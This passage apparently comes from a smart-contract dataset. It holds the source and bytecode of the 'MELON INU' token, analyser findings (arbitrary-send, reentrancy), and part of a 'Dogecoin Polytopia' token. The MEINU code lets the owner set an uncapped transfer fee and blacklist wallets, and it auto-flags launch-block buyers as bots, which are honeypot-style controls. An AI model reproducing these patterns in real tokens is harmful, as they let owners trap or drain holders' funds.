return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract MEINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "MELON INU";
string private constant _symbol = "MEINU";
uint private constant _decimals = 9;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(1).div(100));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.div(6);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (1 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f1578063cf0848f714610406578063cf9d4afa14610426578063dd62ed3e14610446578063e6ec64ec1461048c578063f2fde38b146104ac57600080fd5b8063715018a6146103265780638da5cb5b1461033b57806390d49b9d1461036357806395d89b4114610383578063a9059cbb146103b1578063b515566a146103d157600080fd5b806331c2d8471161010857806331c2d8471461023f5780633bbac5791461025f578063437823ec14610298578063476343ee146102b85780635342acb4146102cd57806370a082311461030657600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b657806318160ddd146101e657806323b872dd1461020b578063313ce5671461022b57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104cc565b005b34801561017e57600080fd5b506040805180820190915260098152684d454c4f4e20494e5560b81b60208201525b6040516101ad9190611925565b60405180910390f35b3480156101c257600080fd5b506101d66101d136600461199f565b610518565b60405190151581526020016101ad565b3480156101f257600080fd5b50678ac7230489e800005b6040519081526020016101ad565b34801561021757600080fd5b506101d66102263660046119cb565b61052f565b34801561023757600080fd5b5060096101fd565b34801561024b57600080fd5b5061017061025a366004611a22565b610598565b34801561026b57600080fd5b506101d661027a366004611ae7565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a457600080fd5b506101706102b3366004611ae7565b61062e565b3480156102c457600080fd5b5061017061067c565b3480156102d957600080fd5b506101d66102e8366004611ae7565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031257600080fd5b506101fd610321366004611ae7565b6106b6565b34801561033257600080fd5b506101706106d8565b34801561034757600080fd5b506000546040516001600160a01b0390911681526020016101ad565b34801561036f57600080fd5b5061017061037e366004611ae7565b61070e565b34801561038f57600080fd5b506040805180820190915260058152644d45494e5560d81b60208201526101a0565b3480156103bd57600080fd5b506101d66103cc36600461199f565b610788565b3480156103dd57600080fd5b506101706103ec366004611a22565b610795565b3480156103fd57600080fd5b506101706108ae565b34801561041257600080fd5b50610170610421366004611ae7565b610965565b34801561043257600080fd5b50610170610441366004611ae7565b6109b0565b34801561045257600080fd5b506101fd610461366004611b04565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049857600080fd5b506101706104a7366004611b3d565b610c0b565b3480156104b857600080fd5b506101706104c7366004611ae7565b610c3a565b6000546001600160a01b031633146104ff5760405162461bcd60e51b81526004016104f690611b56565b60405180910390fd5b600061050a306106b6565b905061051581610cd2565b50565b6000610525338484610e4c565b5060015b92915050565b600061053c848484610f70565b61058e843361058985604051806060016040528060288152602001611cd1602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113de565b610e4c565b5060019392505050565b6000546001600160a01b031633146105c25760405162461bcd60e51b81526004016104f690611b56565b60005b815181101561062a576000600560008484815181106105e6576105e6611b8b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062281611bb7565b9150506105c5565b5050565b6000546001600160a01b031633146106585760405162461bcd60e51b81526004016104f690611b56565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062a573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052990611418565b6000546001600160a01b031633146107025760405162461bcd60e51b81526004016104f690611b56565b61070c600061149c565b565b6000546001600160a01b031633146107385760405162461bcd60e51b81526004016104f690611b56565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610525338484610f70565b6000546001600160a01b031633146107bf5760405162461bcd60e51b81526004016104f690611b56565b60005b815181101561062a57600c5482516001600160a01b03909116908390839081106107ee576107ee611b8b565b60200260200101516001600160a01b03161415801561083f5750600b5482516001600160a01b039091169083908390811061082b5761082b611b8b565b60200260200101516001600160a01b031614155b1561089c5760016005600084848151811061085c5761085c611b8b565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108a681611bb7565b9150506107c2565b6000546001600160a01b031633146108d85760405162461bcd60e51b81526004016104f690611b56565b600c54600160a01b900460ff1661093c5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104f6565b600c805460ff60b81b1916600160b81b17905542600d81905561096090603c611bd2565b600e55565b6000546001600160a01b0316331461098f5760405162461bcd60e51b81526004016104f690611b56565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109da5760405162461bcd60e51b81526004016104f690611b56565b600c54600160a01b900460ff1615610a425760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104f6565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abd9190611bea565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2e9190611bea565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9f9190611bea565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c355760405162461bcd60e51b81526004016104f690611b56565b600855565b6000546001600160a01b03163314610c645760405162461bcd60e51b81526004016104f690611b56565b6001600160a01b038116610cc95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f6565b6105158161149c565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d1a57610d1a611b8b565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d979190611bea565b81600181518110610daa57610daa611b8b565b6001600160a01b039283166020918202929092010152600b54610dd09130911684610e4c565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e09908590600090869030904290600401611c07565b600060405180830381600087803b158015610e2357600080fd5b505af1158015610e37573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610eae5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f6565b6001600160a01b038216610f0f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f6565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fd45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f6565b6001600160a01b0382166110365760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f6565b600081116110985760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f6565b6001600160a01b03831660009081526005602052604090205460ff16156111405760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104f6565b6001600160a01b03831660009081526004602052604081205460ff1615801561118257506001600160a01b03831660009081526004602052604090205460ff16155b80156111985750600c54600160a81b900460ff16155b80156111c85750600c546001600160a01b03858116911614806111c85750600c546001600160a01b038481169116145b156113cc57600c54600160b81b900460ff166112265760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104f6565b50600c546001906001600160a01b0385811691161480156112555750600b546001600160a01b03848116911614155b8015611262575042600e54115b156112d6576000611272846106b6565b9050611292606461128c678ac7230489e8000060016114ec565b9061156b565b61129c84836115ad565b11156112a757600080fd5b6112bf606461128c678ac7230489e8000060026114ec565b6112c984836115ad565b11156112d457600080fd5b505b600d54421415611304576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061130f306106b6565b600c54909150600160b01b900460ff1615801561133a5750600c546001600160a01b03868116911614155b156113ca5780156113ca57600c5461136e9060649061128c90600f90611368906001600160a01b03166106b6565b906114ec565b81111561139b57600c546113989060649061128c90600f90611368906001600160a01b03166106b6565b90505b60006113a882600661156b565b90506113b48183611c78565b91506113bf8161160c565b6113c882610cd2565b505b505b6113d88484848461163c565b50505050565b600081848411156114025760405162461bcd60e51b81526004016104f69190611925565b50600061140f8486611c78565b95945050505050565b600060065482111561147f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f6565b600061148961173f565b9050611495838261156b565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114fb57506000610529565b60006115078385611c8f565b9050826115148583611cae565b146114955760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f6565b600061149583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611762565b6000806115ba8385611bd2565b9050838110156114955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f6565b600c805460ff60b01b1916600160b01b17905561162c3061dead83610f70565b50600c805460ff60b01b19169055565b808061164a5761164a611790565b600080600080611659876117ac565b6001600160a01b038d166000908152600160205260409020549397509195509350915061168690856117f3565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116b590846115ad565b6001600160a01b0389166000908152600160205260409020556116d781611835565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161171c91815260200190565b60405180910390a3505050508061173857611738600954600855565b5050505050565b600080600061174c61187f565b909250905061175b828261156b565b9250505090565b600081836117835760405162461bcd60e51b81526004016104f69190611925565b50600061140f8486611cae565b60006008541161179f57600080fd5b6008805460095560009055565b6000806000806000806117c1876008546118bf565b9150915060006117cf61173f565b90506000806117df8a85856118ec565b909b909a5094985092965092945050505050565b600061149583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113de565b600061183f61173f565b9050600061184d83836114ec565b3060009081526001602052604090205490915061186a90826115ad565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e8000061189a828261156b565b8210156118b657505060065492678ac7230489e8000092509050565b90939092509050565b600080806118d2606461128c87876114ec565b905060006118e086836117f3565b96919550909350505050565b600080806118fa86856114ec565b9050600061190886866114ec565b9050600061191683836117f3565b92989297509195505050505050565b600060208083528351808285015260005b8181101561195257858101830151858201604001528201611936565b81811115611964576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051557600080fd5b803561199a8161197a565b919050565b600080604083850312156119b257600080fd5b82356119bd8161197a565b946020939093013593505050565b6000806000606084860312156119e057600080fd5b83356119eb8161197a565b925060208401356119fb8161197a565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a3557600080fd5b823567ffffffffffffffff80821115611a4d57600080fd5b818501915085601f830112611a6157600080fd5b813581811115611a7357611a73611a0c565b8060051b604051601f19603f83011681018181108582111715611a9857611a98611a0c565b604052918252848201925083810185019188831115611ab657600080fd5b938501935b82851015611adb57611acc8561198f565b84529385019392850192611abb565b98975050505050505050565b600060208284031215611af957600080fd5b81356114958161197a565b60008060408385031215611b1757600080fd5b8235611b228161197a565b91506020830135611b328161197a565b809150509250929050565b600060208284031215611b4f57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611bcb57611bcb611ba1565b5060010190565b60008219821115611be557611be5611ba1565b500190565b600060208284031215611bfc57600080fd5b81516114958161197a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c575784516001600160a01b031683529383019391830191600101611c32565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c8a57611c8a611ba1565b500390565b6000816000190483118215151615611ca957611ca9611ba1565b500290565b600082611ccb57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122084d7ef80f12d041674eeb41a6a263561bb99803d7d12fd6abbcb245a2e6866ee64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,463 |
0x1e9026cf81875822a94e06ea3e024764ffa1178e
|
/**
*Submitted for verification at Etherscan.io on 2021-07-02
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-14
*/
/**
*Submitted for verification at Etherscan.io on 2021-05-27
*/
/*
Dogecoin polytopia
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DOPIA is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Dogecoin Polytopia";
string private constant _symbol = 'DOPIA';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 0;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private launchBlock = 0;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
